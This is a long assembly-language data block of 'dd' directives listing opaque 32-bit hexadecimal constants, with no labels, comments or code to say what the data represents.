		dd 0B5704C28h, 8C15178h, 81670C9Fh, 7BE90B7Fh, 84F77C49h
		dd 4BFE8B1h, 87CF20E3h,	901237BBh, 0D7F6B3EFh, 0C7F4D075h
		dd 0F9889406h, 4A95BEE9h, 494EC766h, 8824F58h, 0EBCF625Eh
		dd 0F4014252h, 5A8FCF5Fh, 0F9F287C7h, 0C065208h, 0DA06D331h
		dd 802EE927h, 588E056Fh, 5A210262h, 5002C083h, 39151E75h
		dd 6889E9F7h, 0CD933AA3h, 0A45C95CAh, 80505909h, 0F180E237h
		dd 5BE6FA68h, 202A8DC8h, 180C09Fh, 5C3BEEF8h, 73F6415Eh
		dd 9F0E595h, 65749EE9h,	6817982Dh, 1358526Ah, 4FE63010h
		dd 454F8397h, 0D9B8326Ah, 0ED310092h, 7FD61116h, 7D0805B0h
		dd 84A6066Fh, 0D0DDA0E9h, 0BB534F24h, 31489E09h, 0B01F801Bh
		dd 984C5933h, 8B7EB0F7h, 5B5DF008h, 7C5B04Fh, 4B36697Dh
		dd 0A260F468h, 844C5808h, 0C017F74Ch, 0BEEEEBA6h, 2CA1565Ch
		dd 0EA6A77Dh, 98428DE5h, 712FF568h, 0F658896Ch,	0E05E95C9h
		dd 0E9B5C346h, 77763C35h, 6628D749h, 0E987138Ch, 5C06437Eh
		dd 20E6E1F6h, 1BF3CC54h, 19B231BCh, 2C50C1C8h, 0F8798593h
		dd 0F4B64A20h, 0B934849h, 0A4E07398h, 26138705h, 0B74F14ECh
		dd 632AC953h, 16E8F4A2h, 52ACC2D6h, 3778F4E2h, 98E6585Bh
		dd 0D6D44F04h, 90AE860h, 5C59CB29h, 0B306392Fh,	0E22E1D73h
		dd 0C27550CBh, 5317DCB9h, 0DC680709h, 65765C42h, 0FC081DFCh
		dd 7D23E451h, 0E825014Bh, 2F115829h, 0B1E921D0h, 0A0B6D2A0h
		dd 4190CF8Dh, 6883BF5h,	0CB4BB885h, 47825344h, 0F6021643h
		dd 21E1C0DFh, 0F3F53880h, 2D52EF29h, 464CCDF8h,	28DD0C12h
		dd 3D5012CFh, 0E41F5BB4h, 0D1EC43CDh, 0A2DDCF6h, 0CC3DD8ABh
		dd 0E904592Bh, 0F603F5Dh, 908EEC1h, 3188409Ch, 77505DC8h
		dd 63DC0D9Ah, 32BCA609h, 8D307FDFh, 9E9F4A6Bh, 9DEE9751h
		dd 0F592E92Ah, 185B5776h, 0D8882AC2h, 0D4C62976h, 0D0848995h
		dd 0BF957E2Bh, 686A38ADh, 0EB0A04D1h, 0F87FE969h, 65A65E77h
		dd 931DC31Fh, 0BF8180EDh, 0D3D51F2h, 5DF2744h, 0F4255D0Eh
		dd 8B4C5FAEh, 2D72328Eh, 46487670h, 204B2285h, 0ECF44008h
		dd 0CAFB3358h, 0E513F65Dh, 0DBB8464Bh, 92B05A8h, 882D8047h
		dd 15BF702h, 76112380h,	87564F61h, 0D105F580h, 3BD5F768h
		dd 77D8A6C1h, 0E2B4047Ah, 255F0006h, 7D573E7Bh,	0A2BA053Fh
		dd 0C22FDF37h, 8E405A67h, 0FA4EB7E9h, 0B61866DCh, 9B8888D6h
		dd 8022B600h, 31D0E5CEh, 0BFC266EEh, 6967907h, 3C773BA6h
		dd 9010050Ch, 8301578Ch, 0DFA6260Dh, 926050C8h,	0AA261B89h
		dd 0DDA20E5Eh, 4F4BA660h, 2D04690Bh, 26F77496h,	77A10FFh
		dd 6D035A3Bh, 10E6E7Eh,	280034EEh, 0F769914Fh, 1C814AD2h
		dd 1BCEBBF2h, 32403C98h, 4E5EE92Bh, 8258D309h, 1CE845h
		dd 0AA40B7BAh, 0E2810102h, 41387199h, 2A890Ah, 741C355Ch
		dd 89B80812h, 9EB0930Bh, 50468FABh, 55139E5Bh, 0AB6648DCh
		dd 5EBADA53h, 50E6901h,	32386878h, 0A38698E4h, 805C0BCBh
		dd 0D03875BAh, 0DA29346Dh, 0B4081280h, 73479CF2h, 992D2642h
		dd 0D9AD67C1h, 5B4E6817h, 7F26B10h, 0C4FEF488h,	835731E5h
		dd 0A58391C7h, 581029D7h, 0A8811627h, 98E5D770h, 0A71F613Bh
		dd 98ED7CA1h, 3C7F031Ch, 0F1AC1CF8h, 0BC9A170Dh, 40E6E727h
		dd 206698A3h, 0BE0EB07Bh, 2E6E5F68h, 7AE8A653h,	91C9EE69h
		dd 0E5810090h, 500C69BCh, 0CE98C176h, 0E641832Dh, 441B2719h
		dd 0C62D61F1h, 0B1D6A1A5h, 0EE26EFB8h, 9554120Ah, 5249AA40h
		dd 0B46D402h, 198C683Bh, 1349C187h, 81DB01FDh, 1E5D03CBh
		dd 0BF3B0C7h, 4263285Fh, 15B14DDh, 6C06E0CAh, 0C1D7C22h
		dd 4378D05h, 68E45946h,	835641C7h, 32111AD2h, 0D550D922h
		dd 3DDB4A3Eh, 64FBADB0h, 2CCFBA88h, 4B830254h, 4CE22240h
		dd 0FEAF6184h, 4AA96045h, 41743BB2h, 0CF7E2099h, 1532750Eh
		dd 87C7C013h, 0B8E88A85h, 3D96BCD9h, 36F92B2Dh,	5E2C2204h
		dd 9CEA88C3h, 0CF685700h, 14AE333h, 8698FD57h, 0A7A04E3Eh
		dd 17134C27h, 3888B243h, 192D90BDh, 0BE2122F6h,	2CC87517h
		dd 2F31A449h, 0F111D6A2h, 39F5205Bh, 0B2B88C97h, 0D3061F32h
		dd 0BCE6C37Ch, 0A0C5CE17h, 0F6F40594h, 0C35460Eh, 0D542DE37h
		dd 412848A7h, 6B813E32h, 4030F4EFh, 0A4A460EDh,	0FCDA8381h
		dd 1676A6CFh, 1F6DF99Dh, 36847C37h, 0E6C1CA09h,	6801D3AFh
		dd 0B115EB5Bh, 92E49A11h, 80EDF205h, 31E5E480h,	0D4A3AAE8h
		dd 79575983h, 46A2E530h, 8B5558Ah, 100F95Fh, 0AF6858C6h
		dd 4B58B459h, 0AB0B1F51h, 4B857CADh, 0BE523E04h, 4F2B9245h
		dd 4B78BF2Ch, 9691B3D1h, 2FA3C611h, 2863DB31h, 5A451781h
		dd 0FAAA0B52h, 123BAE04h, 101AF901h, 16108E1h, 94F2D64h
		dd 2979BB12h, 8205776h,	1A3CE912h, 0AE04E52h, 113A6FCAh
		dd 81AE51C9h, 1F6E76Ah,	0C702D7CFh, 170C8220h, 83744532h
		dd 0E0B7D5F1h, 13F9297Dh, 8B35DEE9h, 27833B4Fh,	5565F202h
		dd 866D95A7h, 0FBD2EE02h, 0E76AAFAh, 0EDCFAE39h, 33E8C1CBh
		dd 0B46F3F8Bh, 6A8388E8h, 0EB069328h, 0DC78750Ch, 193CA22Bh
		dd 9259C522h, 0F131011Bh, 0BA51CEC8h, 5020B638h, 0B99CF1E9h
		dd 4A215F16h, 290DAF14h, 6AA55E46h, 9B3CAC31h, 6072D74Fh
		dd 0EB4BDB99h, 0FC70E926h, 1CBC5D92h, 51E0A6BDh, 6644894Eh
		dd 71E92419h, 42589317h, 56200783h, 8B1A8F7h, 0EE205D16h
		dd 78F5430Eh, 2DD82862h, 372F807h, 0E94A152Fh, 8F030BD2h
		dd 0D37856CFh, 40C7B6Fh, 0F752E046h, 4001FCDFh,	8070CAB6h
		dd 4889102Fh, 0BD42E964h
		dd 0B7C6F320h, 3F5DFE4Fh, 0F0C1071h, 649CBB3Dh,	0AC5392D7h
		dd 299E0F54h, 885DE9A5h, 0B5280732h, 1D499649h,	0EED65B5Ah
		dd 0CC16CD4h, 0E744030Dh, 327F86ACh, 590A96C6h,	9FBF6A51h
		dd 0B1D352D7h, 773094A0h, 1D5825DAh, 0A668EA10h, 0BBB3565Ah
		dd 163E3216h, 21A4F049h, 0E8F6F05Eh, 701F8910h,	6B80E35Bh
		dd 9C5F2268h, 38B689ECh, 58251D56h, 5DE35A5Ch, 68504AFCh
		dd 741927C8h, 0E90100CCh, 29F29CE0h, 0ACBA088Dh, 35AA5C12h
		dd 0B570A2E5h, 5E7B4EA9h, 29A73258h, 0DC42D1ADh, 669AEE65h
		dd 675702B7h, 54C6534h,	0C40AE8C1h, 667C9306h, 0DC2329Bh
		dd 0E0C1B9A0h, 69F25504h, 8E35575Ah, 5FC74682h,	14D7583Ah
		dd 3649D0Ch, 1B9D0BE0h,	59BBA0B7h, 9635FA3Dh, 0C5B40E9Ah
		dd 902DC09h, 80C83795h,	0D549895Ah, 4E991314h, 0E2E7EFECh
		dd 0C4D928EDh, 24D09D94h, 0AA45E5A1h, 534E8F40h, 0B6EE8BBh
		dd 0D3F734E2h, 0CF02E7DEh, 0FFB144C0h, 830838ABh, 4BC10FBEh
		dd 0B832DAAh, 0DE9BF99Ch, 345EA5C2h, 0F907B25h,	0ACF26851h
		dd 2BFAC170h, 817A5513h, 2EB875EEh, 888C9B30h, 0D5C9F9F0h
		dd 0AED22B6Dh, 4A087828h, 30D689BFh, 5A588F53h,	4014D265h
		dd 0E102F8Ch, 9526A5C9h, 282BD529h, 984DE991h, 19082481h
		dd 9D95425h, 4982B151h,	102BD7Eh, 0C23C60EAh, 0ECE5B050h
		dd 626A3034h, 0E30AAFE6h, 0C8890C00h, 1D2C0559h, 0E9640C5Fh
		dd 0E06503E4h, 0B0AD9440h, 0B4BA009Ah, 0B90BEA08h, 49093406h
		dd 0FD13153h, 5CF05658h, 0B4DD4AF7h, 96048DB7h,	0EB899928h
		dd 4BA7C21Ch, 41C04E07h, 0A53E18E8h, 97E3002Ah,	0D1345478h
		dd 0CEFA1EBh, 828902C5h, 0E0CAC5D3h, 0A0966FE1h, 0B090B095h
		dd 0AE433404h, 24EF5B45h, 3908B4F9h, 48712E4Bh,	539EF728h
		dd 0BF6BD45Bh, 29290732h, 0E8212440h, 0A0F314B7h, 4AE90CBFh
		dd 3B82A593h, 269E8455h, 52A81651h, 66590BCBh, 3DE92F07h
		dd 0C79CF9D8h, 7D6AE26Bh, 24B43B14h, 88675552h,	0D610DBA6h
		dd 2084B55Eh, 60B9CEACh, 0F31D03EAh, 0E972F8C1h, 722EB750h
		dd 18925925h, 0A78442CAh, 0FEDDD7CDh, 51D5B9D2h, 0E1CC2A0Ah
		dd 64610667h, 28D1295Fh, 0A9AA0883h, 880F9C7Eh,	0C3F98BF4h
		dd 0F1EABB7Eh, 277FEE85h, 0A31BF28Bh, 93A08648h, 816390BFh
		dd 3F1D0CCEh, 0A70C742Bh, 6B7C6EE0h, 90EF606h, 0B9201DDh
		dd 0A876F69h, 0F706FE02h, 54AAC443h, 6282B8ABh,	0DC5B99FFh
		dd 34BAFEBDh, 669F74FEh, 0C24027E0h, 0E92AA59h,	9AE3EB53h
		dd 10525E7Bh, 0A24BFC15h, 9AC2579h, 73657697h, 5568122Eh
		dd 90449E27h, 66F2C1Ah,	5FD4C18Ch, 0EBC1E8D0h, 0DBF70514h
		dd 0CB14F05h, 0B58C602Ch, 4800BDABh, 8165FE47h,	4E6342E5h
		dd 0C366C076h, 433BF74Ah, 4D0213C1h, 0A7D2A300h, 3F89F84Ch
		dd 0E7D05DE9h, 39310AC9h, 2F52E63h, 10C44C5h, 0CEE9A882h
		dd 0B605A7FEh, 0F1042864h, 5501AD91h, 2A53B768h, 171BCCCCh
		dd 0E480274h, 0F3A611B6h, 5B830C33h, 47B0E7E0h,	9724C60Eh
		dd 79A25248h, 20FF7F05h, 0FEBA0E03h, 0F0D81652h, 7284247Fh
		dd 592924F9h, 26CF21E2h, 0E7D3AD2Ch, 1F130196h,	331302F9h
		dd 0BF2D27D2h, 0CAFDCB04h, 148C4AC5h, 6BDCB056h, 0E6564B1Fh
		dd 2A678F00h, 30C15F24h, 3F9A08E5h, 3C004668h, 4D59CD31h
		dd 6E83D5F7h, 0C2615AEDh, 3110647Ah, 0B0D8053Bh, 1601B835h
		dd 89519F3Ah, 0A9E358C3h, 31E19A03h, 8000536Bh,	536857BBh
		dd 75D76D15h, 0FC07985h, 2D59CF31h, 40D169Eh, 4015BC6Ch
		dd 83315F07h, 9290F8C0h, 0E1027459h, 88B01CFh, 0B1703C58h
		dd 9D01D4EBh, 919E20C3h, 4D0247DFh, 0F227FE25h,	58088068h
		dd 0B519201h, 4F080A9Fh, 3434B8C5h, 6ABCD724h, 5B9E6806h
		dd 0E92EB405h, 5193CDEEh, 0C34F01Eh, 7D9A29BBh,	0E2988BC1h
		dd 52F05425h, 8802B0D7h, 0A54C973Fh, 0CAA6E92Fh, 3C02F5DAh
		dd 0D9E1206Fh, 5155895Bh, 979D9C54h, 0A2A50667h, 0F766E991h
		dd 5E83220h, 250F693Ah,	97BE682Bh, 0CF10B6B3h, 4C88241Ch
		dd 0F21040Eh, 0ACC78BD0h, 73613C4Dh, 4117F423h,	0EAA29206h
		dd 2D482643h, 8F79B7F1h, 19BC6096h, 0E9E91FCCh,	0C3424D2Eh
		dd 65AFE9C5h, 2DCA3B90h, 3827D25h, 1B5CDEF7h, 1220AFBDh
		dd 2AABD8B1h, 0BF60788Ch, 6B845960h, 0E54B7F94h, 2268008Ah
		dd 5B4A0357h, 3AFF5334h, 43CBE900h, 957DB33Dh, 991C35D2h
		dd 89904C80h, 9D34174Ch, 0B027ACB1h, 83BE56h, 894D453Eh
		dd 1FE95EF2h, 4CF4F849h, 87813D06h, 40EC6E6Ch, 894704E5h
		dd 1875C0FEh, 0E3C1C542h, 0F54DE106h, 31AC46ECh, 777E5F53h
		dd 5E229829h, 0ABE6120Eh, 28CF92Dh, 91CA416Bh, 0D841052Bh
		dd 500CF0C6h, 0E4E7B9Dh, 4CAD0670h, 0C3F789FDh,	0A92DE91Ah
		dd 0E663544Ah, 430BD25Ch, 0AED53CC5h, 0FBEA6958h, 0D2E90928h
		dd 0C7B59D78h, 0A1E8ADAAh, 54810A5Bh, 0CB650DD9h, 0C5125067h
		dd 0DD0B0858h, 8BB25200h, 3EC0C2FEh, 6A9208E2h,	386FE356h
		dd 0EC432768h, 61929E4Dh, 4D1B4B68h, 26E91FDh, 909DE24Fh
		dd 484153F9h, 50EB4424h, 98186858h, 80A1EEA0h, 0F1EFEB8h
		dd 0B78B7C63h, 0E45174DAh, 4BA511F8h, 70327B05h, 0D2F284EBh
		dd 9ABBEE6h, 36089BD9h,	0D0880EEBh, 0E3780953h,	3A088461h
		dd 3EEC4D89h, 87FA9E20h, 991A15DAh, 8D01BA04h, 3FEC1748h
		dd 0C0481F52h, 622B8FCAh, 0E92F4223h, 725CD253h, 0C1D6A61Bh
		dd 0DA5BF03Ah, 7B7C6507h, 515D0F92h, 142D450Bh,	68B38A16h
		dd 0C9C661C2h, 1A4E77F0h, 0E88044CCh, 0E9460DC3h, 0E41A2A71h
		dd 0FE33A4E3h, 0C1BD0ACBh, 37EEDC3h, 1588E9EAh,	37575B12h
		dd 9BC579A8h, 0B092ED2Ah, 0A41D87E9h, 40500899h, 15023632h
		dd 8405A5DCh, 0EACA42FBh, 109DE25Bh, 2925C7C9h,	9DD640C2h
		dd 340C8B8Bh, 14E9132Dh, 0E85B57F4h, 8E6B165Ah,	63861137h
		dd 0F3801E11h, 0C56717F1h, 25C3CFC3h, 8E50DC55h, 9ACBE953h
		dd 61609E1Ah, 0F9BB1269h, 0AF3E7507h, 0BB53E3BFh, 785EF940h
		dd 0F5C5103Bh, 26100F0Ah, 82C60385h, 0C8FCE123h, 0AD84EBCh
		dd 16690E1Ah, 0F031E0EEh, 33BE1213h, 5BDD173Ch,	6AA60602h
		dd 1004D597h, 23EC12FAh, 9DD9B82Ah, 0B89ECE3Eh,	2FE09E88h
		dd 185F88h, 6F5CA8EAh, 0FA000106h, 10685150h, 98268F41h
		dd 13C905ADh, 0BD319h, 900395FAh, 16F2E9D6h, 49267C8Ah
		dd 63A4D371h, 5D3F3642h, 612554C6h, 0A442D121h,	189EAF68h
		dd 4BC9E69Fh, 8D7135Ch,	811DF718h, 9C261C80h, 0D0C10133h
		dd 4B7D08A2h, 16581248h, 8138AF5h, 1638FCE9h, 1056E65Eh
		dd 0B940B206h, 9D2EFD41h, 0B1254452h, 0B8DB3B60h, 0E9128C46h
		dd 0E57DE484h, 0FB4D0378h, 3CE25BD4h, 6E176E95h, 5E848A4Dh
		dd 0F8E9B9D1h, 10ACE28h, 108952C8h, 0B86607D7h,	5417F18h
		dd 2821E87Eh, 0B35B242Ch, 933C86Bh, 18D8ADE9h, 1ED90507h
		dd 26A56E6Fh, 0EA020DEDh, 2EAA605Eh, 12928C57h,	7A441637h
		dd 9ABF0168h, 6014A169h, 5800AE05h, 62D2889h, 3EBD03h
		dd 0A9354840h, 0E9D55577h, 42D2784Bh, 0DB61E0BBh, 45295C31h
		dd 92D22324h, 39E8A968h, 2A22005Eh, 5A2D1F88h, 65E60F18h
		dd 7D4F001h, 2111A27Ch,	0AC12BAE6h, 0CB8BA02Eh,	3165E783h
		dd 0C93BFBB1h, 112BE8DBh, 88EDE3C0h, 0EC1F4D5Bh, 64B909E5h
		dd 8F573624h, 0E907C2E2h, 0BFB290BEh, 3B487410h, 0A3F82BBAh
		dd 60468287h, 0C51E211Ch
		dd 0F9657DC3h, 0A06C9401h, 9D4F79E9h, 8C0BC748h, 9418909Fh
		dd 6C9B1613h, 2CB8F089h, 0F5F3C55Fh, 34215070h,	67702F54h
		dd 31129C45h, 0A8D6D4A8h, 0A6A7B4EFh, 7350DA25h, 5BACB49Dh
		dd 506F15Ch, 0DD39EE3Bh, 0B463220h, 8326C163h, 2929E08h
		dd 7B1D5A90h, 0C24B4559h, 3045571Ch, 4C1AF0A5h,	1018555h
		dd 0E90BE544h, 0DEC52F62h, 26502DF6h, 0EBD7944Fh, 0CA718BE2h
		dd 1849654Fh, 8A68E990h, 658D9612h, 8A89254h, 20380F74h
		dd 2EAD7EBEh, 0BA25E795h, 0B598814Fh, 0F6798143h, 66D56823h
		dd 11824B3Bh, 885AC640h, 0B36AEE58h, 8774E058h,	941B901h
		dd 0F4D10DD2h, 9E451DBDh, 3B3A923Eh, 957C61BAh,	2D8C809Fh
		dd 909849B7h, 2BF09701h, 7564C64Dh, 0B8ADE32h, 0F92C20D9h
		dd 0A9B5B468h, 961C5F5Eh, 774430BFh, 0DA598352h, 57D74098h
		dd 7E9C1E98h, 0C9E021h,	0CA1650D2h, 9C7B623h, 374C2A74h
		dd 94287621h, 83249B54h, 4DA2AFDDh, 68019C73h, 0CA2F418Fh
		dd 567D6931h, 0E9A49AA5h, 69567Eh, 9F3A137Bh, 80E9121Eh
		dd 2D289040h, 5D375417h, 0EBF2477Ah, 0F0AEA4Bh,	0DF92F230h
		dd 6726F5D3h, 89A86732h, 252578CFh, 0CD00E007h,	8574167Fh
		dd 46CA1C7Dh, 0C12F04Bh, 682F3C7Eh, 90D95A0Bh, 957532D3h
		dd 0A9DD93DFh, 7CB87779h, 0A624E955h, 6BA0FB0Fh, 5AF1595Fh
		dd 0E317B032h, 0AFD7340Bh, 82682C81h, 2669D1A6h, 0C69AC08h
		dd 0C4171E7Fh, 0C80B4563h, 0BA200289h, 1FF77D3Bh, 0EA0213FDh
		dd 7A4AD6D5h, 3F94FD40h, 4800E370h, 0EE34310Dh,	0F0790576h
		dd 2D620269h, 0D9588828h, 622A8A5Fh, 9C07334Ah,	7E69D453h
		dd 9D6D09BCh, 0D8A4C071h, 0F7445864h, 0DF18F8D0h, 0D4E5405Dh
		dd 915FE944h, 0D7A45D43h, 0D90D0AA5h, 2AF8A62Fh, 0C6801CD0h
		dd 0A8F312AAh, 0C328C012h, 92B3CFE9h, 555230FFh, 2B568DECh
		dd 408A4A65h, 0A0949208h, 385958C4h, 0E0B50120h, 0E07B3574h
		dd 82674B78h, 0AE428376h, 852A69C4h, 68134AAFh,	0BCB92065h
		dd 7CD8E9A1h, 167D5CAEh, 83F83699h, 970017D2h, 0FC7EF457h
		dd 0ECF04ACAh, 123973CBh, 0BC307CEBh, 0CE8812FBh, 0B69C19AEh
		dd 4B493C53h, 13F674ECh, 8A86813h, 28AE9835h, 309B983h
		dd 8178851Dh, 415146C6h, 54CAF2F7h, 0D2EC5826h,	5B0377C0h
		dd 4B1A685Ah, 12703423h, 0CAF1B9A6h, 21E0505Fh,	9672E9F8h
		dd 81DC2562h, 2CAAD36Bh, 0BCFB17A2h, 0F735A21Ch, 3B620F91h
		dd 4BB98D8Ch, 2913B009h, 32090E9Eh, 1A335F88h, 0ADF1F6D1h
		dd 2114E114h, 5BCE23A6h, 0C831BB19h, 8204C226h,	6D7887A6h
		dd 8102FAE8h, 8062ABE2h, 2031604Eh, 58290909h, 861EA31h
		dd 9EFE78EEh, 410FC91Ah, 0DE7413A0h, 0E9054A5Dh, 9F87B94h
		dd 0FB8B169Eh, 0F2D0563Bh, 0C824B5FCh, 90D20B26h, 828A2A60h
		dd 2C7FE40h, 614FBA95h,	47CA3A0h, 63508294h, 0DAF680BBh
		dd 0F3C28012h, 0FB73B9BCh, 0B541CC20h, 12F6A1EEh, 542A89B7h
		dd 8F056BFAh, 4B2F56A2h, 0E7B0262h, 0D310D2C4h,	12BC4410h
		dd 7CAA04B9h, 372DE9CEh, 951EFA87h, 0DA45434Ch,	0E32AF419h
		dd 5566C917h, 6883A40Eh, 23C45CDFh, 5B611D07h, 0F6DCC680h
		dd 0C1EE04D9h, 4DFE8CA0h, 0E3F1909Dh, 5C790B75h, 1CEC4329h
		dd 9FCA2F20h, 697C3D42h, 1A2CF23Ch, 6549D54Bh, 308D28E7h
		dd 0AC0C4C62h, 65BFD830h, 8BEE918Fh, 0AC51E01Fh, 7A4E7D2Ch
		dd 0A152626h, 3A7DC007h, 0F72E3D35h, 873A0AD9h,	4938D858h
		dd 54E01E65h, 7D6309B8h, 0ECFC7E78h, 32EA58h, 3A2D093Ch
		dd 2950AD25h, 705F028h,	786080BDh, 0D2753C4Ah, 0A32405F0h
		dd 1708E37Fh, 0A41352C2h, 0D1F6AEC0h, 80C112FEh, 878A05C9h
		dd 6F71BFC2h, 1583DFCAh, 7B2D4E46h, 0B32FD1D3h,	0C89AE5Ch
		dd 4A8D3120h, 0BA358CA6h, 0B45AD140h, 8280C9CBh, 1097B951h
		dd 812A6F0Eh, 734BC2C9h, 95918003h, 942B7F5Bh, 675558D9h
		dd 720213Fh, 7F5AC1EAh,	51A75819h, 53B08C2h, 0C8EDE9F1h
		dd 5FEEE6F3h, 332FB69Eh, 6834E2A1h, 5BC5683Ch, 160AE741h
		dd 40CA029Fh, 0A6A7C04Ah, 8C70EE80h, 0E91322B0h, 0D5323BE5h
		dd 0F872F85Bh, 7D2E5194h, 0A8BD3BDCh, 2E768EABh, 0A52A5371h
		dd 0F2EB6379h, 2CB9019Ah, 0E9F1A4D6h, 79D2289Ah, 884DAE52h
		dd 0E9FA05B9h, 5790F068h, 6AD9DFFCh, 0A7725816h, 0E376A313h
		dd 4EBD014Eh, 4D62E50Ch, 1EFADB40h, 2D21EE07h, 0BC7858C5h
		dd 0F131285Eh, 840439F8h, 0F150CD54h, 4B167A33h, 57015BB3h
		dd 5F551EBFh, 920C8332h, 7AE8E59Ch, 6016096h, 103AC82Dh
		dd 46B6448h, 21A55309h,	0FBE180C4h, 97AB2020h, 0A053932Fh
		dd 8B5B5820h, 5089A7B3h, 3B280679h, 37F12C0Bh, 0AB660F4Ah
		dd 0B35B2084h, 2E5166BEh, 0E1310B5h, 0E965288Ch, 4FA3ACC7h
		dd 0D5522A57h, 6F502EA1h, 425EA05h, 2C6822DDh, 0F048EF60h
		dd 97832FC0h, 0D2C9D587h, 472C2A55h, 0F8484AD0h, 0EAADD624h
		dd 70E0292Dh, 249D0158h, 0CCF3376Eh, 29FE1669h,	3B87815h
		dd 0F04C8505h, 238FA815h, 0F43C4E80h, 2A4F43D1h, 0ABFCC792h
		dd 1CD1D4A8h, 0BAFEE581h, 3BDE7E2h, 0EAF54368h,	1660F160h
		dd 316A2DB9h, 40DCE4ABh, 4796E9C1h, 6803703Bh, 8F9B3715h
		dd 47064B38h, 9043C821h, 689BC291h, 364C2A62h, 92D02634h
		dd 0E51238A8h, 2AE941C6h, 2F49B466h, 0E7A42EF0h, 44AF596Fh
		dd 565E553Dh, 9D940B10h, 880961B2h, 0EFBF9950h,	0CEA6BD8Ah
		dd 0B8653576h, 36ADA991h, 0C290CB44h, 3D994630h, 0C15B59CEh
		dd 33A90C6Ch, 0DA9BFDBBh, 0DD88D5DEh, 97051723h, 0FC89A4BCh
		dd 0F75F03A3h, 0D1FE87D7h, 707F2F01h, 8BF22951h, 0D5EC344Eh
		dd 0A5865AB4h, 6F12B841h, 5D5E9A22h, 3046C361h,	28121800h
		dd 850B27AEh, 6E2AFE43h, 68059408h, 58993747h, 0E981B43Ah
		dd 0B8142027h, 0BBCF684Bh, 91E832B6h, 5B2981F8h, 0DE255459h
		dd 82F94357h, 73A8224Bh, 3AE730E9h, 0D2014082h,	69519747h
		dd 0DE16CF89h, 0C22538Ah, 408E9002h, 0B526E922h, 7B4020F5h
		dd 582D3477h, 9C738741h, 2674693Ah, 25D4F494h, 9D5FA9Fh
		dd 27CA7F76h, 8852615Eh, 0E4A70FBCh, 6AC17C4Fh,	16190702h
		dd 6D433D32h, 845CC242h, 2200F4C8h, 0BC938099h,	3E1E006Ah
		dd 1C0FF681h, 0E9120D2Ch, 1E89DF2Bh, 3135647Eh,	2AED11BDh
		dd 20E2E735h, 1891D90h,	0A920CD91h, 76279C81h, 10F45AA8h
		dd 4E09B013h, 0BE7676E4h, 807BECCCh, 519D5F54h,	515CE050h
		dd 0D83AB966h, 1E1D5C19h, 0F74F6AB1h, 0FC6882D1h, 0EB1D415Eh
		dd 5452F610h, 29143912h, 8384AFB8h, 81D6102Ch, 132D1221h
		dd 17AB843Ah, 96A0F807h, 0FC214A4h, 0AD6C3C4Ch,	0E8543269h
		dd 0C774D0A7h, 94921C8Fh, 0D3F38729h, 31F3F389h, 0C00BECE4h
		dd 3B193DEEh, 0C6013C55h, 0B08A372h, 0A33CB21Ch, 0F524BFF3h
		dd 646F271Ah, 27647BF8h, 0CE7ACCC9h, 7068DAEFh,	0ED39C145h
		dd 7E59F06h, 0D965811Ch, 45A46F8Bh, 1203D510h, 0B5FD52h
		dd 5C326852h, 285A3B60h, 18CD509h, 8C41EACDh, 6B0CE967h
		dd 2ABDCF00h, 2D0171h, 54FCED81h, 1DE9B6A8h, 2C12DD91h
		dd 12ED24EAh, 0FB74BFB6h, 510990BAh, 134DE955h,	4E214AFEh
		dd 9226CA89h, 18C38100h, 16B8A39h, 0A5C297h, 0E9CB2908h
		dd 0F87DD74Eh, 44025A4h, 0C4EA52D7h, 0A1D50C15h, 0A60FF79Dh
		dd 645DFA3Bh, 8FBD8D2Dh, 0F8C55925h, 29F83F93h,	0E54ACDD3h
		dd 0F5A5A4CBh, 0BF199918h
		dd 1C7D1313h, 25AA0117h, 891A2762h, 0DCE57622h,	0BF0F611Ah
		dd 0BB8047C8h, 4F598D42h, 2DD2904Bh, 0A3651295h, 1C4F12Bh
		dd 2E37E907h, 0D8305400h, 0A86BBF68h, 6AA9B158h, 9936280h
		dd 91D51FC2h, 0E7073A1Ch, 0D0327CADh, 0E2E8E55Ah, 0BD58C027h
		dd 0BF291020h, 0D7C2C1C3h, 0E6B72270h, 0D32905FEh, 30350668h
		dd 2DEBE99Bh, 84073181h, 4EC2E8DFh, 0A25A2B3h, 3CBDA6D8h
		dd 0D90104F2h, 0AAB7A1E9h, 93C9BA5Dh, 0FE39E4DEh, 438597BEh
		dd 0BA688659h, 4BD30649h, 80D8F0A2h, 0D12B6851h, 9400B543h
		dd 0E91F6919h, 9F10BAB0h, 0F4D3BA05h, 0C32DEB59h, 0CD676137h
		dd 0FE2893A8h, 33AA3B4Bh, 194DE706h, 0E0EC2E1Eh, 0C8342C3Bh
		dd 0C0774BFh, 0FD31FC2Eh, 0DEEE89F2h, 0F32162CBh, 81BB465Fh
		dd 64EC50B1h, 7FE9121Ah, 4815BD0Fh, 43570755h, 92DE0B5Bh
		dd 29A8C984h, 531002A2h, 0FED603B3h, 45E380C3h,	0E9F8CB98h
		dd 0D5A0FD5Eh, 0CD30BE5Ah, 3E7439AEh, 0D20507EAh, 656E2968h
		dd 66BE4166h, 9971F44h,	0C909D712h, 35C2B27Ch, 27FFFA33h
		dd 0B0D1C217h, 0FBE490C9h, 2498B97Eh, 0B9E6E000h, 1B096A71h
		dd 0F2DEF6E9h, 1AEF2DDBh, 8B78A216h, 0B018EFBDh, 1F5E9AFh
		dd 86685594h, 0DAEE6B62h, 18875DAAh, 0D1586425h, 0F5AA21EFh
		dd 9A920973h, 85C3B9EAh, 34BFE5BDh, 13150415h, 0FCB90BC4h
		dd 0BD55801Bh, 0CEB01A7h, 83F58100h, 0F731183Ch, 209890D5h
		dd 487491ADh, 0D0D6CB5h, 3B1579FCh, 3DCAF926h, 8547CBD0h
		dd 0DEB2F62Ch, 97093178h, 7A02C129h, 0CC4200CFh, 0AFAEF818h
		dd 7B584360h, 33E12C36h, 3C369D0Ch, 0D8313CADh,	5CCF083Dh
		dd 4D39ADDh, 0E2C9D80h,	819DD5E0h, 63E95788h, 9DC8E355h
		dd 190428A7h, 0BA520085h, 0A3E6FB5Ah, 0EC4A92E9h, 722C65F2h
		dd 26F9A5CCh, 79D568E1h, 7D14303Ah, 7E1C3F59h, 27C2CA81h
		dd 404A1A5Dh, 2566A105h, 6FF85449h, 1F2E240h, 3719E104h
		dd 2B2D71E9h, 955767A3h, 90F49712h, 7B123F16h, 7704615Bh
		dd 0E816BCE7h, 5F04C11h, 0A7748AC6h, 89B30FBBh,	13EAE3B3h
		dd 3DBACE01h, 7A4221E7h, 0E7C8E613h, 9D9E9A82h,	0F26921F9h
		dd 2F87F6FEh, 5B71C361h, 680837A6h, 5EBA01CCh, 6F330F41h
		dd 0D3B8AC80h, 13D2253Dh, 0E9176558h, 0C1E8450Dh, 116ACAD6h
